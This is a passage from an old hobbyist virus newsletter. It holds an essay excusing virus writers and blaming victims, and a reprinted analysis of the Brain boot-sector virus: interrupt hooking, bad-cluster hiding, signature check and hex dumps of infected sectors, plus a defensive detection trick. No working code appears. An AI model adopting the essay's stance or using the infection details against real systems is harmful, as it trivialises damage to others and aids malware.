  801. his ass off. And I don't blame him. And as for all this law bullshit about
  802. computer virii (The Computer Fraud And Abuse Act Of 1986) I have to laugh
  803. about that, too....I don't really see computer virii as a major threat to
  804. much of anything. It all depends on how you look at it I suppose. I see it
  805. this way: A favorite book of yours gets stolen or destroyed. You have another
  806. copy of it. Do you care about the stolen/destroyed one? Yes, slightly, but
  807. not as much if the stolen/destroyed one had been your only copy. Same with
  808. software. That's why I think the law(s) concerning virii is ridiculous. Now
  809. only if they put that much effort into more serious crimes, like murder, rape
  810. and drugs. In the article earlier, they mentioned a sentence of five years
  811. in jail and a $250,000 fine...for what? Contaminating some bureacrats PC and
  812. destroying his list of drugs growing in his backyard? And look at Robert T.
  813. Morris Jr. He found a loophole in ARPANET, wrote and released a worm that
  814. hogged all the memory and forced thousands of machines to be shut down for
  815. up to ten days or so. So what? Did he deserve what they gave him? He was
  816. thrown out of school, forced to pay $10,000 in fines, perform 400 hours of
  817. community services, and was on 3 years probation. I do not agree with this
  818. at all whatsoever. The reason why he got such a stiff sentence for such a
  819. minor crime, if you can call it a crime at all, is because the government
  820. had a interest in the network Morris interrupted. Morris didn't even have
  821. malicious intent. They should be glad that HE, and not someone else who might
  822. have had malicious destruction in mind, showed them the security loopholes in
  823. the system. Instead they fine him, make him do community services (which was
  824. probably cleaning some rich bureacrats pool or trimming his lawn) and place
  825. him on 3 years probation hoping he fucked up again so they could make more
  826. money and wouldn't have to worry about their lawns or pools for another few
  827. weeks.
  828.  
  829. *****************************************************************************
  830.  
  831.               *******************************
  832.               * Are Virii Really A Problem? *
  833.               *        And For Who?         *
  834.               *******************************
  835.  
  836. This is a question I present to the bureacrats and lawmakers: Are virii a
  837. REAL problem? And for who are they a problem? I think they are blowing the
  838. whole thing way out of proportion and making people into criminals who are
  839. not criminals. Let's say you rip out asbestos for a living, and you get
  840. sick from it. Would you call the person that makes the asbestos a criminal?
  841. No, of course not. Asbestos is just a hazard of the job. If your job deals
  842. with computers, consider computer virii as just a hazard of the job. It's a
  843. chance you take. If you don't want to take the risk, either find another
  844. career or take the proper precautions to prevent a virus attack. Just like
  845. the person who works with asbestos every day, he wears a mask, and gloves so
  846. he doesn't get sick. So equip yourself with a real good scanner, be real
  847. careful about where and who you get your software from and stop calling the
  848. people who write virii 'criminals' and treating them like they are. Or if you
  849. are too damn lazy to take the proper precautions, just have a backup at all
  850. times. Should you get attacked by a virus, clean up the computer and install
  851. everything again. I am, of course, referring to personal PCs...and not main-
  852. frames, or networks....this is what I have to say about them: If Internet or
  853. NASA's network should get attacked and disabled again, I say the institutions
  854. and people who pay to use those networks should sue NASA or the people who
  855. run Internet because they are the real criminals for not taking steps to make
  856. sure this didn't happen again. It's kind of like this: If you left your front
  857. door open with a $800 VCR and a $500 TV clearly in view, do you think it would
  858. still be there when you got home? No, of course not, so you lock your door and
  859. equip your home with a expensive alarm system. Why these people who scream
  860. computer crime every time their system gets attacked don't have more secure
  861. systems is beyond me. Instead of crying for anti-virus laws they should spend
  862. more time making the security on their network or mainframe even tighter. The
  863. answer to the question 'Are virii a REAL problem?' is NO....at least to me.
  864. People make into a problem. 'A problem for who?' Lazy virus illiterate people
  865. who don't know any better....that don't bother securing their systems. To me
  866. that's their own damn fault and THEY should be brought up on charges. Maybe
  867. we should have a new law...'The virus ignorance law'
  868.  
  869. Section 51-A Of The 1986 Computer Fraud And Abuse Act Of 1986 Clearly States
  870. That You, If Found Guilty Of Virus Ignorance, Could Be Sentenced To Up To 5
  871. Years In Jail, $500,000 In Fines, 800 Hours Of Cleaning Virus Ridden Computers
  872. And 2 Years Probation.
  873.  
  874. After all, wouldn't you consider sitting there with your head firmly wedged
  875. up your ass as your computer gets invaded by a virus, computer abuse?
  876.  
  877. I do.
  878.  
  879. *****************************************************************************
  880.  
  881. This one is for Midnight Cowboy.
  882.  
  883. This was taken from a book and re-printed WITHOUT permission from the author.
  884.  
  885. *****************************************************************************
  886.  
  887.               *******************************
  888.               *  The Brain Virus: Fact And  *
  889.               *          Fantasy            *
  890.               *******************************
  891.  
  892. The Brain virus has the distinction of being the first computer virus
  893. to strike in the United States outside of a test laboratory. According
  894. to Ms. Ann Webster of the Academic Computer Center of the University of
  895. Delaware in Newark, Delaware, it was reported to the Computer Center on
  896. October 22, 1987. It was found in other locations on the campus one or
  897. two days later. It was named the Brain virus because it wrote that word
  898. as the disk label on any floppy disk it attacked. After the initial an-
  899. alysis of this computer virus on an infected disk two names, Basit and
  900. Amjad, and their address in Lehore, Pakistan, was found. Because of this,
  901. the virus has also been called the Pakistani virus. Many misconceptions
  902. exist about this virus because of incomplete and/or inaccurate statements
  903. that appeared in newspapers. Most of the newspaper and popular magazine
  904. writers did not have any computer knowledge and some were eager to seek
  905. "horror stories: so that their articles would be different. Even the co-
  906. mputer trade and professional publications have included errors in their
  907. accounts of this virus. Some of the professional writers, both in the US
  908. and abroad, based their articles on previously published information. Most
  909. did not have a working copy of the Brain and even the few who did, failed
  910. to fully analyze the actual programs code. In our Microcomputer Security
  911. Laboratory we have several copies of the Brain virus obtained from diff-
  912. erent sources. We have spent many hours running the Brain virus, explor-
  913. ing it's different methods of infection, testing it's interaction with
  914. different media and isolating the virus so that we could produce an as-
  915. sembly language listing. We have also discussed its code and infection
  916. methodology with virus researchers. Therefore we hope to clear up some
  917. current confusion.
  918.  
  919. Some Characteristics of the Brain
  920. ----------------------------------
  921.  
  922. 1. The brain has been called benign in the press. Yet, Ms. Webster reported
  923.    that the files on a number of infected disks were destroyed. The virus
  924.    at times was destructive. It is impossible to be both. This oxymoron can
  925.    be explained by the fact that the virus may remain on the floppy disk
  926.    without doing any damage. But at times it has been activated so that it
  927.    destroys the file allocation table (FAT) that provides information to the
  928.    operating system as to the location of all files on the disk. It would be
  929.    stretching the dictionary meaning of benign to say that because the cont-
  930.    ents of the disk can be reconstructed, no damage has been done. To under-
  931.    stand the reconstruction problem, suppose we have a set of 30 company re-
  932.    ports, approximately 20 pages each, all typed within the same margins on
  933.    the same paper, not page numbered, not clipped, and with no other copy
  934.    available. Left near an open window, these 600 pages are blown over a
  935.    wide area with no order preserved. Now, put them back in order. Because
  936.    the actual data on the floppy disk have not been destroyed, it is poss-
  937.    ible to use a utility, such as PC Tools, or the Norton Utilities, to read
  938.    each sector. The appropriate sectors can be moved to another disk in an
  939.    approximate sequence to replicate the original documents. This is a del-
  940.    icate and tiresome task.
  941.  
  942. 2. The Brain virus does not notify the user that the disk has been infected
  943.    immediately before it ruins a disk. The user is never made aware that the
  944.    disk has been infected. The virus can remain on an infected disk without
  945.    damaging it, but there is always a risk of unannounced disaster.
  946.  
  947. 3. There is NO ransom demand made by the Brain (See Note 1).
  948.  
  949. 4. The Brain virus code is written so that it will never infect a hard disk.
  950.    It is media specific; it will attack only double-sided, nine sectored
  951.    floppy disks that have been formatted under some version of DOS.
  952.  
  953. 5. The virus can infect a microcomputer and spread to floppy disks even if
  954.    the boot disk is NOT infected. If a non-bootable infected disk is used
  955.    in an attempt to boot a system, the following message will be displayed
  956.    on the screen:
  957.  
  958.    Please Insert A Bootable Disk
  959.    The Type [Return]
  960.  
  961.    By that time the virus has already hidden itself in RAM memory. Using a
  962.    clean bootable disk to start the system will result in that disk becom-
  963.    ing infected. (See Note 2). The virus will then spread to any other fl-
  964.    oppy used on the system.
  965.  
  966. 6. The virus appears to be unstable. The actual code is some 4100 bytes but
  967.    less than half of it is actually executed. Two portions of the program
  968.    are neither called nor can many researchers determine under what circum-
  969.    stances they would be executed. Was the extra code inserted to confuse
  970.    any one who disassembled the program? Is there some what that either or
  971.    both uncalled parts are involved that has thus far been undiscovered?
  972.  
  973. 7. The virus source code contains a counter. The counter is reset often and
  974.    it is difficult to determine it's purpose. Because the counter was not
  975.    mentioned in published reports about the Brain, "new" viruses appeared.
  976.    Some companies whose disks were attacked discovered the counter and de-
  977.    cided that they had a new virus. When similarities to the Brain were
  978.    found it was decided that the new viruses were hacker versions of the
  979.    original found at the University of Delaware. Whether there are hacker
  980.    versions or destruction was caused by the unstable character of the Brain
  981.    is a question. Certainly it is not difficult for an experienced program-
  982.    mer who has obtained a copy of the Brain to modify it's code.
  983.  
  984. Note 1: In the January 31, 1988, issue of The New York Times, the article
  985.     about computer viruses contained the following: "Buried within the
  986.     code of the virus discovered at the University of Delaware was an
  987.     apparent ransom demand: Computer users who discovered the virus were
  988.     told to send $2,000 to an address in Pakistan to obtain an immunity
  989.     program, according to Harold Highland....The Pakistani contact was
  990.     not identified." This statement was never made by me and Vin McLellan
  991.     and the author of The New York Times article admits that it was never
  992.     made. Somewhere in the copy preparation and/or editing, the copy was
  993.     altered. In our discussion, I noted that the names of the authors and
  994.     their addresses in Lahore, Pakistan, were found in the virus and that
  995.     there was even a copyright notice. Because of other writers use of the
  996.     database of newspaper articles about viruses, several picked this qu-
  997.     ote up and used it without any verification. It has appeared in seve-
  998.     ral major newspapers in the States as well as in newspapers and the
  999.     computer trade press abroad.
  1000.  
  1001. Note 2: This note is my own, and was not in the original article. I noticed
  1002.     that the author of this article had said that other articles releas-
  1003.     ed on the Brain virus had errors in them. I also noticed that his
  1004.     article had an error in it, too. He said:
  1005.  
  1006.    By that time the virus has already hidden itself in RAM memory. Using a
  1007.    clean bootable disk to start the system will result in that disk becom-
  1008.    ing infected. (See Note 2). The virus will then spread to any other fl-
  1009.    oppy used on the system.
  1010.  
  1011.     Now, this is not possible. If you do a "warm boot" the virus may be
  1012.     able to survive and infect that clean bootable disk. BUT if you do
  1013.     a "cold boot" and wait fifteen seconds before you turn the machine
  1014.     back on, there is no possible way for the virus to infect that disk.
  1015.     Once you shut the machine off, RAM is empty. NOTHING can possibly
  1016.     survive in RAM after the machine has been shut off. Even if you did
  1017.     do a warm boot, and the virus survived, just have that clean boot
  1018.     disk write protected and the virus won't be able to infect it.
  1019.  
  1020.  
  1021. How The Virus Infects A Disk
  1022. -----------------------------
  1023.  
  1024. When a Brain infected disk is inserted into a system, the virus first copies
  1025. itself to the highest area in memory. It resets the memory size by altering
  1026. interrupt vector A2H so as to protect the RAM resident virus. It also resets
  1027. interrupt vector 13H to point to the virus code in high memory and resets
  1028. interrupt vector 6H (unused under existing versions of DOS) to point to the
  1029. original interrupt vector, 13H. After the normal boot process is continued
  1030. with the loading of both IBMIO.COM and IBMDOS.COM under PC-DOS or IO.SYS and
  1031. MSDOS.SYS under MS-DOS. The infected disk contains a message and part of the
  1032. virus code in the boot sector. The remainder of the code and a copy of the
  1033. original boot sector is contained in three clusters (six sectors) that the
  1034. virus has labeled "bad" in the FAT. Figure 1 shows a map of an infected disk
  1035. obtained by using Central Point Software's PC Tools Deluxe.
  1036.  
  1037. Figure 1:
  1038.  
  1039. -----------------------------------------------------------------------------
  1040. Entire Disk Mapped                                             80% free space
  1041.           Track      1    1    2    2    3    3    3
  1042. Double Sided      0     5    0    5    0    5    0    5    9
  1043.           Booooo.....+++++++++++++++++++++++++++++++
  1044.     Side 0    Fooooo.....+++++++++++++++++++++++++++++++
  1045.           Fooooo..X..+++++++++++++++++++++++++++++++
  1046.           Doooooo.X..+++++++++++++++++++++++++++++++
  1047.        -----------Doooooo.X..+++++++++++++++++++++++++++++++
  1048.           Dooooo.....+++++++++++++++++++++++++++++++
  1049.     Side 1    oooooo.....+++++++++++++++++++++++++++++++
  1050.           oooooo.....+++++++++++++++++++++++++++++++
  1051.           oooooo.....+++++++++++++++++++++++++++++++
  1052.  
  1053.  
  1054.                 Explanation Of Codes:
  1055.  
  1056.               + Available              . Allocated
  1057.               B Boot Record            o Hidden
  1058.               F File Alloc. Table      r Read Only
  1059.               D Directory              X Bad Cluster
  1060.  
  1061. -----------------------------------------------------------------------------
  1062.  
  1063. With the virus in upper RAM it is not possible to read the infected boot
  1064. sector. If an attempt is made to read the boot sector, the Brain re-directs
  1065. the request to read the original boot sector that is stored in one of the
  1066. bad sectors. The only way tp read the Brain message contained in the boot
  1067. sector, is to boot a system with a non-infected disk, preferably with a write
  1068. protect tab. Replace the boot disk with a write protected version of PC Tools
  1069. and place an infected disk in drive B. Figure 2 shows the embedded message by
  1070. using PC Tools to read the infected disk's boot sector.
  1071.  
  1072. Figure 2:
  1073.  
  1074. -----------------------------------------------------------------------------
  1075.  
  1076. Displacement -----------------HEX Values-------------------- ASCII Value
  1077. 0016 (0010)  20 20 20 20 20 20 57 65 6C 63 6F 6D 65 20 74 6F   Welcome to
  1078. 0032 (0020)  20 74 68 65 20 44 75 6E 67 65 6F 6E 20 20 20 20 the Dungeon
  1079. 0048 (0030)  20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
  1080. 0064 (0040)  20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
  1081. 0080 (0050)  20 28 63 29 20 31 39 38 36 20 42 61 73 69 74 20 (C) 1986 Basit
  1082. 0096 (0060)  26 20 41 6D 6A 61 64 20 28 70 76 74 29 20 4C 74 & Amjad (pvt) Lt
  1083. 0112 (0070)  64 2E 20 20 20 20 20 20 20 20 20 20 20 20 20 20 d
  1084. 0128 (0080)  20 42 52 41 49 4E 20 43 4F 4D 50 55 54 45 52 20 BRAIN COMPUTER
  1085. 0144 (0090)  53 45 52 56 49 43 45 53 2E 2E 37 33 30 20 4E 49 SERVICES 730 NI
  1086. 0160 (00A0)  54 41 4D 20 42 4C 4F 43 4B 20 41 4C 4C 41 4D 41 ZAM BLOCK ALLAMA
  1087. 0176 (00B0)  20 49 51 42 41 4C 20 54 4F 57 4E 20 20 20 20 20  IGBAL TOWN
  1088. 0192 (00C0)  20 20 20 20 20 20 20 20 20 20 20 4C 41 48 4F 52 LAHOR
  1089. 0208 (00D0)  45 2D 50 41 4B 49 53 54 41 4E 2E 2E 50 48 4F 4E E-PAKISTAN PHON
  1090. 0224 (00E0)  45 20 3A 34 33 30 37 39 31 2C 34 34 33 32 34 38 E 430791.443248
  1091. 0240 (00F0)  2C 32 38 30 35 33 30 2E 20 20 20 20 20 20 20 20 .280530
  1092. 0256 (0100)  20 20 42 65 77 61 72 65 20 6F 66 20 74 68 69 73 Beware of this
  1093. 0272 (0110)  20 56 49 52 55 53 2E 2E 2E 2E 2E 43 6F 6E 74 61 VIRUS.....Conta
  1094. 0288 (0120)  63 74 20 75 73 20 66 6F 72 20 76 61 63 63 69 6E ct us for vaccin
  1095. 0304 (0130)  61 74 69 6F 6E 2E 2E 2E 2E 2E 2E 2E 2E 2E 2E 2E ation.......
  1096.  
  1097. -----------------------------------------------------------------------------
  1098.  
  1099. The virus, residing in high memory, interrupts and disk READ request. If that
  1100. request is not for the boot sector or non-floppy drive, the virus reads the
  1101. boot sector of the disk. It examines the 4th and 5th bytes for "1234" that are
  1102. stored as 34 12, the signature of the Brain. If that signature is not present
  1103. on the floppy disk, the virus infects the disk then proceeds with the READ
  1104. command. If the disk is already infected, the virus does not re-infect the
  1105. disk but instead continues with the READ. Also if the disk is write protected,
  1106. the infection will be terminated. Figure 3 is a comparison of the initial po-
  1107. rtion of a good and an infected boot sector.
  1108.  
  1109. Figure 3:
  1110.  
  1111. -----------------------------------------------------------------------------
  1112.  
  1113. GOOD Boot Sector:
  1114.  
  1115. Displacement -----------------HEX Values--------------------
  1116. 0000 (0000)  EB 34 90 49 42 4D 20 20 33 2E 32 00 02 02 01 00
  1117. 0016 (0010)  02 70 00 D0 02 FD 02 00 09 00 02 00 00 00 00 00
  1118. 0032 (0020)  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  1119.  
  1120. BAD Boot Sector:
  1121.  
  1122. Displacement -----------------HEX Values--------------------
  1123. 0000 (0000)  FA E9 4A 01 34 12 01 02 27 00 01 00 00 00 00 20
  1124. 0016 (0010)  20 20 20 20 20 20 57 65 6C 63 6F 6D 65 20 74 6F
  1125. 0032 (0020)  20 74 68 65 20 44 75 6E 67 65 6F 6E 20 20 20 20
  1126.  
  1127. -----------------------------------------------------------------------------
  1128.  
  1129. Normally the virus, in its attempt to infect a disk, will search for three
  1130. consecutive clusters it can mark as "bad". If there are no blank clusters, the
  1131. virus will not infect the disk. However, if there is only one blank cluster
  1132. and it is neither of the last two clusters on the disk, the virus will select
  1133. the one blank cluster and overwrite the next two clusters and mark all three
  1134. as bad. If the overwritten material is part of a file, that file no longer can
  1135. be executed if it is a program, or read if it is a data file. This is one way
  1136. in which a user might learn that a disk has been infected.
  1137.  
  1138. Poor Man's Filter
  1139. -----------------
  1140.  
  1141. In our laboratory testing we found a simple, inexpensive method to protect a
  1142. disk from becoming infected by the Brain virus by checking if the virus is in
  1143. high memory. It is possible to prepare a test disk by following these simple
  1144. steps.
  1145.  
  1146. 1. Format a floppy disk with or without a system.
  1147.  
  1148. 2. Use DEBUG.COM or PC Tools to edit the boot sector. The first line of the
  1149.    boot sector appears as:
  1150.  
  1151.    EB 34 90 49 42 4D 20 20 33 2E 32 00 02 02 01 00
  1152.            -----
  1153.  
  1154. 3. Since the Brain examines the fifth and sixth bytes for its signature,
  1155.    change those bytes to the virus' signature, 1234. Below is an altered
  1156.    first line of a boot sector:
  1157.  
  1158.    EB 34 90 49 34 12 20 20 33 2E 32 00 02 02 01 00
  1159.            -----
  1160.  
  1161. Place this altered test disk in drive B and after the system prompt, A>,
  1162. type: DIR B: to obtain a directory of the test disk. If the system is infected
  1163. by the Brain virus, the following message will appear on the screen:
  1164.  
  1165.     Not ready, error reading Drive B Abort, Retry, Ignore?
  1166.  
  1167. The disk with the altered boot sector will work only on a non-infected system.
  1168.  
  1169. *****************************************************************************
  1170. The Alvi brothers, Basit and Amjad, sell compatible PCs in their store in
  1171. Lebore, Pakistan. When contacted by a reporter for "The Chronicle of Higher
  1172. Education," the 19-year old Basit Alvi admitted writing the virus and placing
  1173. it on a disk in 1986 "for fun." He reportedly gave a copy of the virus prog-
  1174. ram to a friend, another student. However, both brothers were at a loss in
  1175. explaining how the virus emigrated to the States.
  1176. *****************************************************************************
  1177.  
  1178.  
  1179. Final Notes:
  1180. ------------
  1181.  
  1182. Thanks to Midnight Cowboy for writing those articles and showing interest in
  1183. the newsletter. Sorry I did not include them but I came to the conclusion
  1184. that there is not much use for batch file virii when there are languages such
  1185. as C and Assembly. I do appreciate the effort, though.
  1186.  
  1187. Someone was SUPPOSED to write me a article for the Sample Source Code Dept.
  1188. on Pascal virii, but they never did it for me, just wanted to say thanks to
  1189. that person.
  1190.  
  1191. I got some bad feedback on my last issue of Viriisearch, and needless to say
  1192. I didn't like it too much. This person didn't like the fact that I had gone
  1193. over the C source code to ATTRB as much as I did. Well, I decided to go over
  1194. the source code really well because ATTRB is a well written program, as well
  1195. as a simple program, so I figured it would make you non C programmers inter-
  1196. ested in C and for you beginner C programmers, it would make you into a better
  1197. C programmer. What I covered on ATTRB last issue took me quite a while to
  1198. learn on my own and the knowledge is there for the taking. If you didn't like
  1199. it because you didn't understand it, I suggest you start learning C or Assem-
  1200. bly because that is, most likely, the only programming languages you will find
  1201. in this newsletter. And what does an attributes program have to do with virii?
  1202. Well, a lot of virii do have to change attributes on files and there was a
  1203. very well written, tight program to do it, in the last issue.
  1204.  
  1205. Speaking of feedback, the more the better. Starting in the next issue, #4, I
  1206. will be featuring reader's feedback, which I will reply to. Provided I get
  1207. enough feedback.
  1208.  
  1209. I hope you enjoyed this issue of "Viriisearch" The newsletter dedicated
  1210. entirely to computer virii.
  1211.  
  1212.  
  1213. Until Next Time......Be Careful!!!
  1214.  
  1215.                    * Criminal Minded <tm> *
  1216. -----------------------------------------------------------------------------
  1217.  
  1218. Downloaded From P-80 International Information Systems 304-744-2253
  1219.